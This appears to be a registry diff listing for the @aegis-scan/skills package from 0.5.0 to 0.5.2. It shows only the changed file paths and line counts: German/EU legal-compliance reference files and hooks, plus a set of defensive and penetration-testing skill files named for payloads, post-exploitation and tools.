@aegis-scan/skills 0.5.0 → 0.5.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/ATTRIBUTION.md +93 -0
- package/package.json +1 -1
- package/sbom.cdx.json +1 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/.claude-plugin/plugin.json +108 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/CHANGELOG.md +878 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/README.md +9 -3
- package/skills/compliance/aegis-native/brutaler-anwalt/SKILL.md +93 -14
- package/skills/compliance/aegis-native/brutaler-anwalt/commands/audit.md +193 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/commands/avv-redline.md +246 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/commands/az-verify.md +155 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/commands/cold-start.md +157 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/commands/dsar-respond.md +180 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/commands/health.md +50 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/commands/simulate.md +158 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/hooks/post_write.py +315 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/hooks/prompt_submit.py +144 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/hooks/session_start.py +57 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/hooks/triggers.json +191 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/INDEX.md +102 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/abmahn-templates.md +1 -1
- package/skills/compliance/aegis-native/brutaler-anwalt/references/aegis-integration.md +60 -5
- package/skills/compliance/aegis-native/brutaler-anwalt/references/audit-patterns.md +745 -11
- package/skills/compliance/aegis-native/brutaler-anwalt/references/az-auffuellung-batch1.md +468 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/bgh-urteile.md +106 -30
- package/skills/compliance/aegis-native/brutaler-anwalt/references/branchenrecht.md +247 -2
- package/skills/compliance/aegis-native/brutaler-anwalt/references/checklisten.md +75 -2
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-aufsichtsbehoerden-taetigkeitsberichte-2024.md +310 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-bussgeld-argumentations-layer.md +598 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-dsk-beschluesse.md +346 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/AGG/audit-relevance.md +76 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/AGG/paragraphs.md +115 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/AMG/audit-relevance.md +58 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/AMG/paragraphs.md +95 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/ArbZG/audit-relevance.md +60 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/ArbZG/paragraphs.md +90 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/BetrVG/audit-relevance.md +73 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/BetrVG/paragraphs.md +114 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/DDG/audit-relevance.md +72 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/DDG/paragraphs.md +103 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/DiGAV/audit-relevance.md +65 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/DiGAV/paragraphs.md +102 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/ElektroG/audit-relevance.md +66 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/ElektroG/paragraphs.md +108 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/FernUSG/audit-relevance.md +80 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/FernUSG/paragraphs.md +102 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/GeschGehG/audit-relevance.md +89 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/GeschGehG/paragraphs.md +107 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/GwG/audit-relevance.md +62 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/GwG/paragraphs.md +119 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/HWG/audit-relevance.md +70 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/HWG/paragraphs.md +125 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/HinSchG/audit-relevance.md +70 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/HinSchG/paragraphs.md +116 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/INDEX.md +152 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/KWG/audit-relevance.md +64 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/KWG/paragraphs.md +110 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/LFGB/audit-relevance.md +63 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/LFGB/paragraphs.md +90 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/MPDG/audit-relevance.md +61 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/MPDG/paragraphs.md +96 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/NachwG/audit-relevance.md +54 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/NachwG/paragraphs.md +82 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/PAngV/audit-relevance.md +76 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/PAngV/paragraphs.md +86 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/RDG/audit-relevance.md +84 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/RDG/paragraphs.md +114 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/TDDDG/audit-relevance.md +92 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/TDDDG/paragraphs.md +91 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/UrhG-UrhDaG/audit-relevance.md +85 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/UrhG-UrhDaG/paragraphs.md +166 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/VDuG/audit-relevance.md +71 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/VDuG/paragraphs.md +102 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/VERIFICATION-NOTES.md +111 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/VVG/audit-relevance.md +65 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/VVG/paragraphs.md +101 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/VerpackG/audit-relevance.md +62 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/VerpackG/paragraphs.md +120 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/WpHG/audit-relevance.md +64 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/WpHG/paragraphs.md +120 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/ZAG/audit-relevance.md +68 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/de-statute-tier1/ZAG/paragraphs.md +110 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/dsgvo.md +55 -8
- package/skills/compliance/aegis-native/brutaler-anwalt/references/eu-edpb-guidelines.md +505 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/eu-eugh-dsgvo-schadensersatz.md +223 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/BDSG/audit-relevance.md +31 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/BFSG/audit-relevance.md +39 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/BGB/audit-relevance.md +42 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/DDG/audit-relevance.md +28 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/DSGVO/audit-relevance.md +35 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/AI-Act-2024-1689/articles.md +4 -1
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/AI-Act-2024-1689/audit-relevance.md +139 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/AI-Act-2024-1689/gpai-pflichten.md +102 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/AI-Act-2024-1689/hochrisiko-annex-iii.md +134 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/AI-Act-2024-1689/sanktionen-art-99.md +97 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/AI-Act-2024-1689/transparenz-art-50.md +120 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/AI-Act-2024-1689/uebergangsfristen.md +109 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/CER-2022-2557/articles.md +42 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/CRA-2024-2847/articles.md +87 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/CSDDD-2024-1760/articles.md +43 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/CSRD-2022-2464/articles.md +42 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DGA-2022-868/articles.md +53 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DMA-2022-1925/articles.md +55 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DORA-2022-2554/articles.md +164 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DORA-2022-2554/audit-relevance.md +86 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DSA-2022-2065/articles.md +3 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DSA-2022-2065/audit-relevance.md +110 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DSA-2022-2065/notice-and-action.md +138 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DSA-2022-2065/small-platform-pflichten.md +109 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DSA-2022-2065/trusted-flaggers.md +77 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/DSA-2022-2065/vlop-vlose.md +130 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/Data-Act-2023-2854/articles.md +102 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/Data-Act-2023-2854/audit-relevance.md +77 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/MiCA-2023-1114/articles.md +124 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/MiCA-2023-1114/audit-relevance.md +85 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/NIS2-2022-2555/articles.md +101 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/ProdHaftRL-2024-2853/articles.md +68 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/EU-Verordnungen/eIDAS-2024-1183/articles.md +43 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/Finance/KWG.md +52 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/Finance/PSD2.md +67 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/Finance/ZAG.md +50 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/GlueStV/articles.md +86 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/HGB-AO/audit-relevance.md +27 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/HinSchG/articles.md +96 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/JuSchG-JMStV/articles.md +86 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/KritisDachG/articles.md +39 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/LkSG/articles.md +90 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/MedTech/DiGAV.md +60 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/MedTech/IVDR-2017-746.md +51 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/MedTech/MDR-2017-745.md +85 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/NIS2UmsuCG-BSIG/articles.md +53 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/StGB/relevante-paragraphen.md +157 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/TDDDG/audit-relevance.md +33 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/TDDDG/paragraphs.md +3 -2
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/TKG/articles.md +73 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/UWG/audit-relevance.md +39 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/UWG/paragraphs.md +71 -3
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/VERIFICATION-STATUS.md +266 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/VSBG/audit-relevance.md +37 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/ePrivacy-RL-2002-58/articles.md +92 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/gesetze/ePrivacy-RL-2002-58/audit-relevance.md +62 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/it-recht.md +115 -9
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/INDEX.md +1 -1
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/ai/anthropic-dpa.md +87 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/astro/cookie-banner-pattern.md +202 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/astro/dse-section-pattern.md +198 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/astro/tracking-server-endpoint.md +193 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/auth/auth0-tom.md +92 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/auth/clerk-tom.md +84 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/django/auth-cookies-pattern.md +295 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/django/cookie-banner-pattern.md +318 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/django/gdpr-cleanup-celery.md +339 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/express/cookie-banner-pattern.md +237 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/express/gdpr-routes-pattern.md +256 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/express/helmet-csp-pattern.md +207 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/laravel/agb-versioning-pattern.md +305 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/laravel/cookie-banner-pattern.md +287 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/laravel/gdpr-models-pattern.md +290 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/laravel/tracking-config-pattern.md +263 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/nest/auth-pattern.md +265 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/nest/cookie-banner-pattern.md +255 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/nest/gdpr-cleanup-cron.md +244 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/nest/tracking-interceptor.md +239 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/nextjs/api-route-bearer-auth.md +103 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/nextjs/dynamic-rendering-headers.md +83 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/nextjs/env-driven-tracking.md +135 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/rails/cookie-banner-pattern.md +294 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/rails/devise-dsgvo-pattern.md +262 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/rails/gdpr-anonymization-pattern.md +283 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/react/consent-gate-pattern.md +99 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/react/cookie-banner-pattern.md +204 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/strapi/cms-pii-pattern.md +301 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/strapi/notice-and-action-plugin.md +371 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/svelte/cookie-banner-pattern.md +234 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/svelte/dse-section-pattern.md +231 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/svelte/sveltekit-server-hooks-pattern.md +217 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/tracking/google-analytics-consent.md +129 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/tracking/posthog-consent.md +79 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/vue/cookie-banner-pattern.md +208 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/vue/dse-i18n-pattern.md +204 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/vue/nuxt-vs-vue-only-pattern.md +197 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/stack-patterns/vue/tracking-pinia-pattern.md +211 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/strafrecht-steuer.md +1 -1
- package/skills/compliance/aegis-native/brutaler-anwalt/references/streitwerte.json +176 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates/DSFA-template.md +80 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates/VVT-template-file-upload.md +98 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-EN-international.md +267 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-anhang-Audit-Klausel-Varianten.md +148 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-anhang-CH-revDSG.md +127 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-anhang-SCC-module2-controller-processor.md +180 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-anhang-SCC-module3-processor-subprocessor.md +144 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-anhang-Sub-Processor-List.md +114 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-anhang-TOMs.md +197 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-anhang-UK-IDTA.md +131 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/AVV-standard-DE.md +288 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/references/templates-avv-layer/Joint-Controller-Vertrag-Art-26.md +265 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/scripts/health-check.sh +190 -48
- package/skills/compliance/aegis-native/brutaler-anwalt/scripts/test-triggers.sh +145 -0
- package/skills/compliance/aegis-native/brutaler-anwalt/settings.json +90 -0
- package/skills/defensive/permoon-fork/README.md +40 -0
- package/skills/defensive/permoon-fork/multi-model-consolidation/SKILL.md +47 -0
- package/skills/defensive/permoon-fork/multi-model-severity/SKILL.md +34 -0
- package/skills/defensive/permoon-fork/multi-model-system-prompt/SKILL.md +40 -0
- package/skills/foundation/aegis-native/aegis-handover-writer/SKILL.md +1 -1
- package/skills/foundation/aegis-native/aegis-quality-gates/SKILL.md +1 -1
- package/skills/offensive/airecon-fork/ctf-crypto/SKILL.md +260 -0
- package/skills/offensive/airecon-fork/ctf-crypto-modern-ciphers/SKILL.md +688 -0
- package/skills/offensive/airecon-fork/ctf-forensics/SKILL.md +253 -0
- package/skills/offensive/airecon-fork/ctf-forensics-network/SKILL.md +480 -0
- package/skills/offensive/airecon-fork/ctf-heap-advanced/SKILL.md +336 -0
- package/skills/offensive/airecon-fork/ctf-pwn/SKILL.md +294 -0
- package/skills/offensive/airecon-fork/ctf-pwn-rop-and-shellcode/SKILL.md +392 -0
- package/skills/offensive/airecon-fork/ctf-reversing/SKILL.md +284 -0
- package/skills/offensive/airecon-fork/frameworks-django/SKILL.md +268 -0
- package/skills/offensive/airecon-fork/frameworks-dotnet/SKILL.md +280 -0
- package/skills/offensive/airecon-fork/frameworks-express/SKILL.md +266 -0
- package/skills/offensive/airecon-fork/frameworks-fastapi/SKILL.md +193 -0
- package/skills/offensive/airecon-fork/frameworks-flask/SKILL.md +297 -0
- package/skills/offensive/airecon-fork/frameworks-laravel/SKILL.md +260 -0
- package/skills/offensive/airecon-fork/frameworks-nextjs/SKILL.md +230 -0
- package/skills/offensive/airecon-fork/frameworks-php/SKILL.md +271 -0
- package/skills/offensive/airecon-fork/frameworks-rails/SKILL.md +269 -0
- package/skills/offensive/airecon-fork/frameworks-spring/SKILL.md +245 -0
- package/skills/offensive/airecon-fork/frameworks-wordpress/SKILL.md +348 -0
- package/skills/offensive/airecon-fork/payloads-command-injection/SKILL.md +459 -0
- package/skills/offensive/airecon-fork/payloads-http-parameter-pollution/SKILL.md +129 -0
- package/skills/offensive/airecon-fork/payloads-ldap-injection/SKILL.md +100 -0
- package/skills/offensive/airecon-fork/payloads-lfi/SKILL.md +485 -0
- package/skills/offensive/airecon-fork/payloads-sqli/SKILL.md +419 -0
- package/skills/offensive/airecon-fork/payloads-ssrf/SKILL.md +125 -0
- package/skills/offensive/airecon-fork/payloads-ssti/SKILL.md +443 -0
- package/skills/offensive/airecon-fork/payloads-xss/SKILL.md +447 -0
- package/skills/offensive/airecon-fork/payloads-xxe/SKILL.md +172 -0
- package/skills/offensive/airecon-fork/postexploit-ad-credential-attacks/SKILL.md +306 -0
- package/skills/offensive/airecon-fork/postexploit-container-escape/SKILL.md +299 -0
- package/skills/offensive/airecon-fork/postexploit-credential-dumping/SKILL.md +249 -0
- package/skills/offensive/airecon-fork/postexploit-lateral-movement/SKILL.md +194 -0
- package/skills/offensive/airecon-fork/postexploit-linux-privesc/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/postexploit-netexec-workflow/SKILL.md +302 -0
- package/skills/offensive/airecon-fork/postexploit-pivoting/SKILL.md +205 -0
- package/skills/offensive/airecon-fork/postexploit-windows-privesc/SKILL.md +210 -0
- package/skills/offensive/airecon-fork/protocols-active-directory/SKILL.md +314 -0
- package/skills/offensive/airecon-fork/protocols-dns/SKILL.md +203 -0
- package/skills/offensive/airecon-fork/protocols-ftp/SKILL.md +159 -0
- package/skills/offensive/airecon-fork/protocols-graphql/SKILL.md +648 -0
- package/skills/offensive/airecon-fork/protocols-kerberos/SKILL.md +168 -0
- package/skills/offensive/airecon-fork/protocols-ldap/SKILL.md +245 -0
- package/skills/offensive/airecon-fork/protocols-rdp/SKILL.md +186 -0
- package/skills/offensive/airecon-fork/protocols-smb/SKILL.md +191 -0
- package/skills/offensive/airecon-fork/protocols-smtp-imap/SKILL.md +263 -0
- package/skills/offensive/airecon-fork/protocols-snmp/SKILL.md +147 -0
- package/skills/offensive/airecon-fork/protocols-ssh/SKILL.md +287 -0
- package/skills/offensive/airecon-fork/reconnaissance-asn-whois-osint/SKILL.md +236 -0
- package/skills/offensive/airecon-fork/reconnaissance-ctf-methodology/SKILL.md +435 -0
- package/skills/offensive/airecon-fork/reconnaissance-dorking/SKILL.md +182 -0
- package/skills/offensive/airecon-fork/reconnaissance-exposed-devtools-detection/SKILL.md +513 -0
- package/skills/offensive/airecon-fork/reconnaissance-full-recon/SKILL.md +305 -0
- package/skills/offensive/airecon-fork/reconnaissance-internal-pentest/SKILL.md +202 -0
- package/skills/offensive/airecon-fork/reconnaissance-javascript-analysis/SKILL.md +167 -0
- package/skills/offensive/airecon-fork/reconnaissance-js-internal-hostname-intelligence/SKILL.md +391 -0
- package/skills/offensive/airecon-fork/reconnaissance-monitoring-secrets-exposure/SKILL.md +394 -0
- package/skills/offensive/airecon-fork/reconnaissance-shodan-censys/SKILL.md +279 -0
- package/skills/offensive/airecon-fork/reconnaissance-subdomain-enum/SKILL.md +952 -0
- package/skills/offensive/airecon-fork/technologies-cicd-attacks/SKILL.md +283 -0
- package/skills/offensive/airecon-fork/technologies-cloud-security/SKILL.md +299 -0
- package/skills/offensive/airecon-fork/technologies-docker-container/SKILL.md +266 -0
- package/skills/offensive/airecon-fork/technologies-elasticsearch/SKILL.md +226 -0
- package/skills/offensive/airecon-fork/technologies-firebase-firestore/SKILL.md +213 -0
- package/skills/offensive/airecon-fork/technologies-frida-hooking/SKILL.md +387 -0
- package/skills/offensive/airecon-fork/technologies-gitlab-github/SKILL.md +259 -0
- package/skills/offensive/airecon-fork/technologies-jenkins/SKILL.md +256 -0
- package/skills/offensive/airecon-fork/technologies-kubernetes-pentest/SKILL.md +281 -0
- package/skills/offensive/airecon-fork/technologies-memcached/SKILL.md +230 -0
- package/skills/offensive/airecon-fork/technologies-mobile-app-pentesting/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/technologies-mongodb/SKILL.md +257 -0
- package/skills/offensive/airecon-fork/technologies-nginx-apache/SKILL.md +280 -0
- package/skills/offensive/airecon-fork/technologies-observability-stack-attacks/SKILL.md +501 -0
- package/skills/offensive/airecon-fork/technologies-redis/SKILL.md +236 -0
- package/skills/offensive/airecon-fork/technologies-supabase/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/technologies-tomcat/SKILL.md +232 -0
- package/skills/offensive/airecon-fork/tools-advanced-fuzzing/SKILL.md +351 -0
- package/skills/offensive/airecon-fork/tools-browser-automation/SKILL.md +300 -0
- package/skills/offensive/airecon-fork/tools-caido/SKILL.md +776 -0
- package/skills/offensive/airecon-fork/tools-code-review/SKILL.md +71 -0
- package/skills/offensive/airecon-fork/tools-dalfox/SKILL.md +189 -0
- package/skills/offensive/airecon-fork/tools-hashcat-john/SKILL.md +258 -0
- package/skills/offensive/airecon-fork/tools-impacket/SKILL.md +227 -0
- package/skills/offensive/airecon-fork/tools-install/SKILL.md +202 -0
- package/skills/offensive/airecon-fork/tools-metasploit/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/tools-nmap/SKILL.md +211 -0
- package/skills/offensive/airecon-fork/tools-nuclei/SKILL.md +175 -0
- package/skills/offensive/airecon-fork/tools-reporting/SKILL.md +47 -0
- package/skills/offensive/airecon-fork/tools-scripting/SKILL.md +1939 -0
- package/skills/offensive/airecon-fork/tools-semgrep/SKILL.md +202 -0
- package/skills/offensive/airecon-fork/tools-source-audit/SKILL.md +308 -0
- package/skills/offensive/airecon-fork/tools-sqlmap/SKILL.md +137 -0
- package/skills/offensive/airecon-fork/tools-tool-catalog/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/tools-wapiti/SKILL.md +293 -0
- package/skills/offensive/airecon-fork/vulnerabilities-2fa-bypass/SKILL.md +219 -0
- package/skills/offensive/airecon-fork/vulnerabilities-account-takeover/SKILL.md +223 -0
- package/skills/offensive/airecon-fork/vulnerabilities-api-schema-exposure/SKILL.md +849 -0
- package/skills/offensive/airecon-fork/vulnerabilities-api-testing/SKILL.md +278 -0
- package/skills/offensive/airecon-fork/vulnerabilities-auth-workflow/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-authentication-jwt/SKILL.md +158 -0
- package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
